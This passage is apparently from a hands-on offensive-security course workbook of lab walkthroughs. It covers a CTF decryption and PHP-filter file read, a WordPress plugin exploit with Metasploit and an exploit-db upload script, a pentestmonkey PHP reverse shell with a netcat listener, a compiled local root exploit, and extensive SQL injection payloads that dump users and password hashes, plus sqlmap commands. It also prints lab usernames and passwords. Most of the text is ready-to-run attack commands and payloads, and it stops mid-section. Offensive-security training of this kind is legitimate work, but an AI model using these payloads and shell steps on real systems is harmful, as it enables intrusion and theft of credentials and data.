  2116. cat ToAlice.eml
  2117.  
  2118. file ToAlice.csv.enc
  2119.  
  2120. file bobsdisk.dsk
  2121.  
  2122. pwd
  2123.  
  2124. mkdir /media/bobsdisk
  2125.  
  2126.  
  2127. mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk
  2128.  
  2129. ls
  2130.  
  2131. cd /media/bobsdisk/
  2132.  
  2133. ls
  2134.  
  2135. openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
  2136.  
  2137. ls
  2138.  
  2139. cat ToAlice.eml | grep flag
  2140.  
  2141. openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
  2142.  
  2143. ls
  2144.  
  2145. cat ToAlice.eml
  2146. ***** look for supercalifragilisticoespialidoso ******
  2147.  
  2148. openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv
  2149.  
  2150. supercalifragilisticoespialidoso
  2151.  
  2152.  
  2153. ls
  2154.  
  2155. cat ToAlice.csv
  2156. -----------------------------------------------------------------------
  2157.  
  2158. -----------------------------------------------------
  2159. Web Path,Reason
  2160. 5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
  2161. c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
  2162. flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?
  2163.  
  2164. -----------------------------------------------------
  2165.  
  2166. The hints are "Web Path" and "strangest URL" so let's try the long strings in the URL:
  2167. http://172.31.2.217/5560a1468022758dba5e92ac8f2353c0/
  2168. -- view source
  2169.  
  2170. Found this string in the source:
  2171. R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJr
  2172. ZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZl
  2173. bGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBi
  2174. YWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApK
  2175. ZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56
  2176. YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAg
  2177. TmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25l
  2178. IGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVh
  2179. ZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2Vvcmdl
  2180. IENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK
  2181.  
  2182. ------ https://www.base64decode.org/ -------
  2183. ------ Decoded, but didn't find a flag -----
  2184.  
  2185.  
  2186. http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/
  2187. -- view source --
  2188. -- Nothing in source --
  2189.  
  2190. Browsed to the flag link:
  2191. view-source:http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=flag
  2192. -- view source --
  2193. -- Nothing in source --
  2194.  
  2195.  
  2196. Tried a PHP base64 decode with the URL:
  2197. http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=welcome.php
  2198. http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
  2199. http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=party.php
  2200.  
  2201. ------ https://www.base64decode.org/ -------
  2202. Use the string found here:
  2203. http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
  2204.  
  2205. -------------------------------------------------------------------
  2206. PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==
  2207. -------------------------------------------------------------------
  2208. <?php
  2209. defined ('VIAINDEX') or die('Ooooh! So close..');
  2210. ?>
  2211. <h1>Flag</h1>
  2212. <p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
  2213. <img src="trollface.png" />
  2214. <?php
  2215. // Ok, ok. Here's your flag!
  2216. //
  2217. // flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
  2218. //
  2219. // Well done, you're doing great so far!
  2220. // Next step. SHELL!
  2221. //
  2222. //
  2223. // Oh. That flag above? You're gonna need it...
  2224. ?>
  2225.  
  2226. ######################
  2227. # Attacking Minotaur #
  2228. ######################
  2229.  
  2230. Step 1: Portscan/Bannergrab the target host
  2231. ---------------------------Type This-----------------------------------
  2232. sudo nmap -sV 172.31.2.117
  2233. -----------------------------------------------------------------------
  2234.  
  2235.  
  2236.  
  2237. Step 2: Vulnerability scan the web server
  2238. ---------------------------Type This-----------------------------------
  2239. cd ~/toolz/
  2240.  
  2241. rm -rf nikto*
  2242.  
  2243. git clone https://github.com/sullo/nikto.git Nikto2
  2244.  
  2245. cd ~/toolz/Nikto2/program
  2246.  
  2247. perl nikto.pl -h 172.31.2.117
  2248. -----------------------------------------------------------------------
  2249.  
  2250.  
  2251.  
  2252. Step 3: Directory brute-force the webserver
  2253. ---------------------------Type This-----------------------------------
  2254. cd ~/toolz
  2255.  
  2256. sudo apt install -y libcurl4-openssl-dev
  2257.  
  2258. git clone https://github.com/v0re/dirb.git
  2259.  
  2260. cd dirb/
  2261.  
  2262. ./configure
  2263.  
  2264. make
  2265.  
  2266. dirb
  2267.  
  2268. ./dirb http://172.31.2.117 wordlists/big.txt
  2269. -----------------------------------------------------------------------
  2270.  
  2271. ### dirb output ###
  2272. ==> DIRECTORY: http://172.31.2.117/bull/
  2273. -----------------------------------------------------------------------
  2274.  
  2275.  
  2276. Step 4: Run wordpress vulnerability scanner
  2277. ---------------------------Type This-----------------------------------
  2278. sudo apt-get install -y libcurl4-openssl-dev libxml2 libxml2-dev libxslt1-dev ruby-dev build-essential libgmp-dev zlib1g-dev
  2279.  
  2280. cd ~/toolz
  2281.  
  2282. rm -rf wpsca*
  2283.  
  2284. git clone https://github.com/wpscanteam/wpscan.git
  2285.  
  2286. cd wpscan
  2287.  
  2288. sudo gem install bundler && bundle install --without test development
  2289.  
  2290. rbenv install 2.5.0-dev
  2291.  
  2292. ruby wpscan.rb -u http://172.31.2.117/bull/ --enumerate u
  2293. -----------------------------------------------------------------------
  2294.  
  2295.  
  2296.  
  2297.  
  2298. Step 5: Attack vulnerable Wordpress plugin with Metasploit
  2299. ---------------------------Type This-----------------------------------
  2300. cd ~/toolz/metasploit
  2301.  
  2302. ./msfconsole
  2303.  
  2304. use exploit/unix/webapp/wp_slideshowgallery_upload
  2305.  
  2306. set RHOST 172.31.2.117
  2307.  
  2308. set RPORT 80
  2309.  
  2310. set TARGETURI /bull
  2311.  
  2312. set WP_USER bully
  2313.  
  2314. set WP_PASSWORD Bighornedbulls
  2315.  
  2316. exploit
  2317. -----------------------------------------------------------------------
  2318.  
  2319. Damn...that didn't work...Can't reverse shell from inside the network to a host in the VPN network range.
  2320. This is a lab limitation that I implemented to stop students from compromising hosts in the lab network
  2321. and then from the lab network attacking other students.
  2322.  
  2323.  
  2324. ---------------------------Type This-----------------------------------
  2325. wget http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz
  2326.  
  2327. tar -zxvf php-reverse-shell-1.0.tar.gz
  2328.  
  2329. cd ~/toolz/php-reverse-shell-1.0/
  2330.  
  2331. nano php-reverse-shell.php
  2332. -----------------------------------------------------------------------
  2333. ***** change the $ip and $port variables to a host that you have already compromised in the network
  2334. ***** for this example I chose 172.31.2.64 and kept port 1234
  2335.  
  2336.  
  2337. ---------------------------Type This-----------------------------------
  2338. chmod 777 php-reverse-shell.php
  2339. cp php-reverse-shell.php ..
  2340. -----------------------------------------------------------------------
  2341.  
  2342.  
  2343.  
  2344. ----------- Paste this into a new file called wp_gallery_slideshow_146_suv.py -----------
  2345. https://www.exploit-db.com/raw/34681/
  2346.  
  2347. python wp_gallery_slideshow_146_suv.py -t http://172.31.2.117/bull/ -u bully -p Bighornedbulls -f php-reverse-shell.php
  2348.  
  2349. -----------------------------------------------------------------------
  2350.  
  2351.  
  2352.  
  2353. Set up netcat listener on previously compromised host
  2354. ---------------------------Type This-----------------------------------
  2355. ssh -l webmin 172.31.2.64
  2356. webmin1980
  2357.  
  2358. python -c 'import pty;pty.spawn("/bin/bash")'
  2359.  
  2360.  
  2361. cd /tmp
  2362.  
  2363. ./boom2
  2364.  
  2365. nc -lvp 1234
  2366. -----------------------------------------------------------------------
  2367.  
  2368.  
  2369.  
  2370.  
  2371. ---------------------Type This in your browser ------------------------
  2372. http://172.31.2.117/bull//wp-content/uploads/slideshow-gallery/php-reverse-shell.php
  2373. -----------------------------------------------------------------------
  2374.  
  2375.  
  2376. Now check your listener to see if you got the connection
  2377. ---------------------------Type This-----------------------------------
  2378. id
  2379.  
  2380. /sbin/ifconfig
  2381.  
  2382. python -c 'import pty;pty.spawn("/bin/bash")'
  2383.  
  2384. ---------------------------Type This-----------------------------------
  2385. cd /tmp
  2386. cat >> exploit2.c << out
  2387. -----------------------------------------------------------------------
  2388. **************paste in the content from here *****************
  2389. https://www.exploit-db.com/raw/37292/
  2390.  
  2391. **************hit enter a few times *****************
  2392.  
  2393. ---------------------------Type This-----------------------------------
  2394. out
  2395.  
  2396.  
  2397. gcc -o boom2 exploit2.c
  2398.  
  2399. ./boom2
  2400.  
  2401. id
  2402. -----------------------------------------------------------------------
  2403.  
  2404. ......YEAH - do the happy dance!!!!
  2405.  
  2406.  
  2407.  
  2408.  
  2409.  
  2410. ##################
  2411. # Attacking Sedna #
  2412. ###################
  2413.  
  2414. Attack steps:
  2415. -------------
  2416.  
  2417.  
  2418.  
  2419. Step 1: Ping sweep the target network
  2420. ---------------------------Type This-----------------------------------
  2421. nmap -sP 172.31.2.0/24
  2422. -----------------------------------------------------------------------
  2423.  
  2424.  
  2425.  
  2426.  
  2427.  
  2428.  
  2429. Step 2: Port scan/Bannergrab the target host
  2430. ---------------------------Type This-----------------------------------
  2431. sudo nmap -sV 172.31.2.86
  2432. -----------------------------------------------------------------------
  2433.  
  2434.  
  2435. PORT STATE SERVICE VERSION
  2436. 22/tcp open ssh (protocol 2.0)
  2437. 53/tcp open domain ISC BIND 9.9.5-3-Ubuntu
  2438. 80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
  2439. 110/tcp open pop3 Dovecot pop3d
  2440. 111/tcp open rpcbind 2-4 (RPC #100000)
  2441. 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: SEDNA)
  2442. 143/tcp open imap Dovecot imapd
  2443. 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: SEDNA)
  2444. 514/tcp filtered shell
  2445. 993/tcp open ssl/imap Dovecot imapd
  2446. 995/tcp open ssl/pop3 Dovecot pop3d
  2447. 8080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
  2448. 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
  2449. SF-Port22-TCP:V=6.40%I=7%D=1/26%Time=5A6B4540%P=x86_64-pc-linux-gnu%r(NULL
  2450. SF:,29,"SSH-2\.0-OpenSSH_6\.6\.1p1\x20Ubuntu-2ubuntu2\r\n");
  2451.  
  2452. Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
  2453. Nmap done: 1 IP address (1 host up) scanned in 246.11 seconds
  2454.  
  2455.  
  2456.  
  2457.  
  2458.  
  2459.  
  2460.  
  2461.  
  2462.  
  2463. Step 3: Vulnerability scan the webserver ports
  2464. ---------------------------Type This-----------------------------------
  2465. cd ~/toolz/
  2466.  
  2467. rm -rf nikto*
  2468.  
  2469. git clone https://github.com/sullo/nikto.git Nikto2
  2470.  
  2471. cd Nikto2/program
  2472.  
  2473. perl nikto.pl -h 172.31.2.86
  2474.  
  2475. perl nikto.pl -h 172.31.2.86:8080
  2476. -----------------------------------------------------------------------
  2477.  
  2478.  
  2479.  
  2480.  
  2481.  
  2482. Step 4: Perform directory bruteforce against the target host
  2483. ---------------------------Type This-----------------------------------
  2484. wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl
  2485.  
  2486. perl Webr00t.pl -h 172.31.2.86 -v
  2487. -----------------------------------------------------------------------
  2488.  
  2489.  
  2490.  
  2491. or with dirbuster (dirb)
  2492.  
  2493.  
  2494.  
  2495.  
  2496. ---------------------------Type This-----------------------------------
  2497. cd ~/toolz
  2498.  
  2499. sudo apt install -y libcurl4-openssl-dev
  2500.  
  2501. git clone https://github.com/v0re/dirb.git
  2502.  
  2503. cd dirb/
  2504.  
  2505. ./configure
  2506.  
  2507. make
  2508.  
  2509. dirb
  2510.  
  2511. ./dirb http://172.31.2.86 wordlists/big.txt
  2512. -----------------------------------------------------------------------
  2513.  
  2514. ### dirb output ###
  2515. ==> DIRECTORY: http://172.31.2.86/blocks/
  2516. ==> DIRECTORY: http://172.31.2.86/files/
  2517. ==> DIRECTORY: http://172.31.2.86/modules/
  2518. ==> DIRECTORY: http://172.31.2.86/system/
  2519. ==> DIRECTORY: http://172.31.2.86/themes/
  2520.  
  2521. + http://172.31.2.86/robots.txt (CODE:200|SIZE:36)
  2522. + http://172.31.2.86/server-status (CODE:403|SIZE:291)
  2523. ### dirb output ###
  2524.  
  2525.  
  2526.  
  2527.  
  2528.  
  2529. Browsed each of the directories and found that inside of the /themes folder contained the vulnerable application Builder Engine 3.5.0
  2530.  
  2531. An exploit for this application can be found at:
  2532. https://www.exploit-db.com/exploits/40390/
  2533.  
  2534.  
  2535.  
  2536.  
  2537.  
  2538. -------------------save this a "BuilderEngine.html"-------------------
  2539. <html>
  2540. <body>
  2541. <form method="post" action="http://172.31.2.86/themes/dashboard/assets/plugins/jquery-file-upload/server/php/"
  2542.  
  2543. enctype="multipart/form-data">
  2544. <input type="file" name="files[]" />
  2545. <input type="submit" value="send" />
  2546. </form>
  2547. </body>
  2548. </html>
  2549. -----------------------------------------------------------------------
  2550.  
  2551.  
  2552. Download this webshell (http://pentestmonkey.net/tools/php-reverse-shell/php-reverse-shell-1.0.tar.gz) to your local machine.
  2553.  
  2554. Change the IP address in the source code of the webshell to another server in the lab network that you have root access to.
  2555.  
  2556. On the other server run:
  2557. nc -lvp 1234
  2558.  
  2559. Then upload the pentestmonkey reverseshell to .86
  2560.  
  2561. ============================================ Attacking another server because I need a reverse shell =========================================
  2562.  
  2563. ##################
  2564. # Day 1 Homework #
  2565. ##################
  2566. Send Ivana an email ivana{a-t}strategicsec{d-o-t}.com with a word document that contains screenshots of everything that we have covered so far. Make the subject of the email "First Name - Last Name - CyberWar Day 1" (ex: Joseph - McCray - CyberWar Day 1).
  2567.  
  2568. Also be sure to name the attached file "FirstName.LastName.CyberwarDay1.docx" (Joseph.McCray.CyberWarDay1.docx).
  2569.  
  2570. NOTE: This is what is required in order to receive your certificate of completion and CPEs.
  2571.  
  2572.  
  2573.  
  2574. ---------------------------------------------------------------------------------------------------------------------------------------------
  2575. ##################################
  2576. # Basic: Web Application Testing #
  2577. ##################################
  2578.  
  2579. Most people are going to tell you reference the OWASP Testing guide.
  2580. https://www.owasp.org/index.php/OWASP_Testing_Guide_v4_Table_of_Contents
  2581.  
  2582. I'm not a fan of it for the purpose of actual testing. It's good for defining the scope of an assessment, and defining attacks, but not very good for actually attacking a website.
  2583.  
  2584.  
  2585. The key to doing a Web App Assessment is to ask yourself the 3 web questions on every page in the site.
  2586.  
  2587. 1. Does the website talk to a DB?
  2588. - Look for parameter passing (ex: site.com/page.php?id=4)
  2589. - If yes - try SQL Injection
  2590.  
  2591. 2. Can I or someone else see what I type?
  2592. - If yes - try XSS
  2593.  
  2594. 3. Does the page reference a file?
  2595. - If yes - try LFI/RFI
  2596.  
  2597. Let's start with some manual testing against 45.77.162.239
  2598.  
  2599.  
  2600. Start here:
  2601. ---------------------------Paste this into Firefox---------------------
  2602. http://45.77.162.239/
  2603. -----------------------------------------------------------------------
  2604.  
  2605.  
  2606. Moving on to the login page.
  2607. ---------------------------Paste this into Firefox-----------------------------------
  2608. http://45.77.162.239/login.aspx
  2609. -------------------------------------------------------------------------------------
  2610.  
  2611. I entered a single quote (') for both the user name and the password. I got the following error:
  2612.  
  2613. Let's try throwing a single quote (') in there:
  2614. ---------------------------Paste this into Firefox-----------------------------------
  2615. http://45.77.162.239/bookdetail.aspx?id=2'
  2616. -------------------------------------------------------------------------------------
  2617.  
  2618. I get the following error:
  2619.  
  2620. Unclosed quotation mark after the character string ''.
  2621. Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.
  2622.  
  2623. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark after the character string ''.
  2624.  
  2625.  
  2626.  
  2627.  
  2628.  
  2629.  
  2630.  
  2631.  
  2632.  
  2633.  
  2634. #########################################################################################
  2635. # SQL Injection #
  2636. # https://s3.amazonaws.com/infosecaddictsfiles/1-Intro_To_SQL_Intection.pptx #
  2637. #########################################################################################
  2638.  
  2639.  
  2640. - Another quick way to test for SQLI is to remove the parameter value
  2641.  
  2642.  
  2643. #############################
  2644. # Error-Based SQL Injection #
  2645. #############################
  2646. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  2647. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(0))--
  2648. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(1))--
  2649. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(2))--
  2650. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(3))--
  2651. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(4))--
  2652. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (SELECT DB_NAME(N))-- NOTE: "N" - just means to keep going until you run out of databases
  2653. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85))--
  2654. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'bookmaster')--
  2655. http://45.77.162.239/bookdetail.aspx?id=2 or 1 in (select top 1 name from sysobjects where xtype=char(85) and name>'sysdiagrams')--
  2656. ---------------------------------------------------------------------------------------------------------
  2657.  
  2658.  
  2659.  
  2660.  
  2661.  
  2662. #############################
  2663. # Union-Based SQL Injection #
  2664. #############################
  2665. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  2666. http://45.77.162.239/bookdetail.aspx?id=2 order by 100--
  2667. http://45.77.162.239/bookdetail.aspx?id=2 order by 50--
  2668. http://45.77.162.239/bookdetail.aspx?id=2 order by 25--
  2669. http://45.77.162.239/bookdetail.aspx?id=2 order by 10--
  2670. http://45.77.162.239/bookdetail.aspx?id=2 order by 5--
  2671. http://45.77.162.239/bookdetail.aspx?id=2 order by 6--
  2672. http://45.77.162.239/bookdetail.aspx?id=2 order by 7--
  2673. http://45.77.162.239/bookdetail.aspx?id=2 order by 8--
  2674. http://45.77.162.239/bookdetail.aspx?id=2 order by 9--
  2675. http://45.77.162.239/bookdetail.aspx?id=2 union all select 1,2,3,4,5,6,7,8,9--
  2676. ---------------------------------------------------------------------------------------------------------
  2677.  
  2678. We are using a union select statement because we are joining the developer's query with one of our own.
  2679. Reference:
  2680. http://www.techonthenet.com/sql/union.php
  2681. The SQL UNION operator is used to combine the result sets of 2 or more SELECT statements.
  2682. It removes duplicate rows between the various SELECT statements.
  2683.  
  2684. Each SELECT statement within the UNION must have the same number of fields in the result sets with similar data types.
  2685. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  2686. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,2,3,4,5,6,7,8,9--
  2687. ---------------------------------------------------------------------------------------------------------
  2688. Negating the paramter value (changing the id=2 to id=-2) will force the pages that will echo back data to be displayed.
  2689.  
  2690. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  2691. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,4,5,6,7,8,9--
  2692. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,7,8,9--
  2693. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,db_name(0),8,9--
  2694. http://45.77.162.239/bookdetail.aspx?id=-2 union all select 1,user,@@version,@@servername,5,6,master.sys.fn_varbintohexstr(password_hash),8,9 from master.sys.sql_logins--
  2695. ---------------------------------------------------------------------------------------------------------
  2696.  
  2697.  
  2698.  
  2699.  
  2700. - Another way is to see if you can get the backend to perform an arithmetic function
  2701. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  2702. http://45.77.162.239/bookdetail.aspx?id=(2)
  2703. http://45.77.162.239/bookdetail.aspx?id=(4-2)
  2704. http://45.77.162.239/bookdetail.aspx?id=(4-1)
  2705. ---------------------------------------------------------------------------------------------------------
  2706.  
  2707. - This is some true/false logic testing
  2708. ---------------------------Paste this into Firefox-----------------------------------
  2709. http://45.77.162.239/bookdetail.aspx?id=2 or 1=1--
  2710. http://45.77.162.239/bookdetail.aspx?id=2 or 1=2--
  2711. http://45.77.162.239/bookdetail.aspx?id=1*1
  2712. http://45.77.162.239/bookdetail.aspx?id=2 or 1 >-1#
  2713. http://45.77.162.239/bookdetail.aspx?id=2 or 1<99#
  2714. http://45.77.162.239/bookdetail.aspx?id=2 or 1<>1#
  2715. http://45.77.162.239/bookdetail.aspx?id=2 or 2 != 3--
  2716. http://45.77.162.239/bookdetail.aspx?id=2 &0#
  2717. -------------------------------------------------------------------------------------
  2718.  
  2719. -- Now that we've seen the differences in the webpage with True/False SQL Injection - let's see what we can learn using it
  2720. ---------------------------Paste this into Firefox-----------------------------------
  2721. http://45.77.162.239/bookdetail.aspx?id=2 and 1=1--
  2722. http://45.77.162.239/bookdetail.aspx?id=2 and 1=2--
  2723. http://45.77.162.239/bookdetail.aspx?id=2 and user='joe' and 1=1--
  2724. http://45.77.162.239/bookdetail.aspx?id=2 and user='dbo' and 1=1--
  2725. ---------------------------------------------------------------------------------------
  2726.  
  2727.  
  2728. ###############################
  2729. # Blind SQL Injection Testing #
  2730. ###############################
  2731. Time-Based BLIND SQL INJECTION - EXTRACT DATABASE USER
  2732.  
  2733. 3 - Total Characters
  2734. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  2735. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=1) WAITFOR DELAY '00:00:10'--
  2736. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=2) WAITFOR DELAY '00:00:10'--
  2737. http://45.77.162.239/bookdetail.aspx?id=2; IF (LEN(USER)=3) WAITFOR DELAY '00:00:10'-- (Ok, the username is 3 chars long - it waited 10 seconds)
  2738. ---------------------------------------------------------------------------------------------------------
  2739.  
  2740. Let's go for a quick check to see if it's DBO
  2741. ---------------------------Paste this into Firefox-----------------------------------
  2742. http://45.77.162.239/bookdetail.aspx?id=2; IF ((USER)='dbo') WAITFOR DELAY '00:00:10'--
  2743. -------------------------------------------------------------------------------------
  2744. Yup, it waited 10 seconds so we know the username is 'dbo' - let's give you the syntax to verify it just for fun.
  2745.  
  2746. D - 1st Character
  2747. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  2748. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=97) WAITFOR DELAY '00:00:10'--
  2749. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=98) WAITFOR DELAY '00:00:10'--
  2750. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=99) WAITFOR DELAY '00:00:10'--
  2751. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),1,1)))=100) WAITFOR DELAY '00:00:10'-- (Ok, first letter is a 100 which is the letter 'd' - it waited 10 seconds)
  2752. ---------------------------------------------------------------------------------------------------------
  2753.  
  2754. B - 2nd Character
  2755. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  2756. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  2757. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),2,1)))=98) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  2758. ---------------------------------------------------------------------------------------------------------
  2759.  
  2760. O - 3rd Character
  2761. ---------------------------Paste these one line at a time into Firefox-----------------------------------
  2762. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>97) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  2763. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>115) WAITFOR DELAY '00:00:10'--
  2764. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>105) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  2765. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))>110) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  2766. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=109) WAITFOR DELAY '00:00:10'--
  2767. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=110) WAITFOR DELAY '00:00:10'--
  2768. http://45.77.162.239/bookdetail.aspx?id=2; IF (ASCII(lower(substring((USER),3,1)))=111) WAITFOR DELAY '00:00:10'-- Ok, good it waited for 10 seconds
  2769. ---------------------------------------------------------------------------------------------------------
  2770.  
  2771.  
  2772.  
  2773.  
  2774. ##########
  2775. # Sqlmap #
  2776. ##########
  2777. If you want to see how we automate all of the SQL Injection attacks you can log into your StrategicSec-Ubuntu-VM and run the following commands:
  2778. ---------------------------Type This-----------------------------------
  2779. cd /home/strategicsec/toolz/sqlmap-dev/
  2780. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -b
  2781. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-user
  2782. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --current-db
  2783. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --dbs
  2784. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp --tables
  2785. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns
  2786. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns
  2787. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T BOOKMASTER --columns --dump
  2788. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" -D BookApp -T sysdiagrams --columns --dump
  2789. python sqlmap.py -u "http://45.77.162.239/bookdetail.aspx?id=2" --users --passwords
  2790. ------------------------------------------------------------------------
  2791.  
  2792.  
  2793.  
  2794. #######################
  2795. # Attacking PHP/MySQL #
  2796. #######################
  2797.  
  2798. Go to LAMP Target homepage
  2799. ---------------------------Paste this into Firefox-----------------------------------
  2800. http://45.63.104.73/
  2801. -------------------------------------------------------------------------------------
  2802.  
  2803.  
  2804. Clicking on the Acer Link:
  2805. ---------------------------Paste this into Firefox-----------------------------------
  2806. http://45.63.104.73/acre2.php?lap=acer
  2807. -------------------------------------------------------------------------------------
  2808.  
  2809. - Found parameter passing (answer yes to question 1)
  2810. - Insert ' to test for SQLI
  2811.  
  2812. ---------------------------Paste this into Firefox-----------------------------------
  2813. http://45.63.104.73/acre2.php?lap=acer'
  2814. -------------------------------------------------------------------------------------
  2815.  
  2816. Page returns the following error:
  2817. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''acer''' at line 1
  2818.  
  2819.  
  2820.  
  2821. In order to perform union-based sql injection - we must first determine the number of columns in this query.
  2822. We do this using the ORDER BY
  2823. ---------------------------Paste this into Firefox-----------------------------------
